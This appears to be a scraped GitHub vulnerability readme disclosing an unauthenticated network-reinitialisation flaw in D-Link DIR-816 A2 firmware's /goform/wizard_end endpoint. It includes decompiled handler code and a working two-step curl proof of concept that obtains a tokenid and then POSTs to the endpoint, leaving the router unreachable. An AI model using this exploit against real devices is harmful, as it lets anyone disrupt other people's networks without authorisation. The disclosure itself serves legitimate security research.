

main ▾

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IOT_Vul / dlink / Dir816 / wizard_end / readme.md



z1r00 Update readme.md

History

1 contributor



36 lines (21 sloc) | 921 Bytes

...

D-link DIR-816 A2_v1.10CNB04.img Initializing the network without authentication

Firmware information

- Manufacturer's address: <https://www.dlink.com/>
- Firmware download address : <http://tsd.dlink.com.tw/GPL.asp>

Affected version



dio/Video
me Plug
ernet Camera
naged Switch
dio/Video>Accessories
dio/Video>D-Life
dio/Video>KVM

DIR-816

Type	Firmware
Description	Firmware: DIR-816_A2_FW_v1.10 (for DCN)
Download	DIR-816_A2_FW_1.10CNB04_Release note.pdf DIR-816 A2_v1.10CNB04.img
Last modified	2017/03/23

The picture above shows the latest firmware for this version

Vulnerability details

```

1 int __fastcall sub_461B7C(int a1)
2 {
3     nvram_bufset(0, "flag_wizard", &word_4784D8);
4     sub_460C04(&dword_483AF0);
5     updateFlash8021x(0);
6     nvram_commit(0);
7     nvram_commit(1);
8     initInternet();
9     return websRedirect(a1, "status.asp");
10 }

```

Vulnerability occurs in /goform/wizard_end, Initialize the network without authentication

Poc

The first thing you need to do is to get the tokenid

```
curl http://192.168.0.1/dir_login.asp | grep tokenid
```

Then run the following poc

```
curl -i -X POST http://192.168.0.1/goform/wizard_end -d tokenid=xxxx
```

now inaccessible



无法访问此网站

192.168.0.1 拒绝了我们的连接请求。

请试试以下办法：

- 检查网络连接
- 检查代理服务器和防火墙

ERR_CONNECTION_REFUSED

详情

重新加载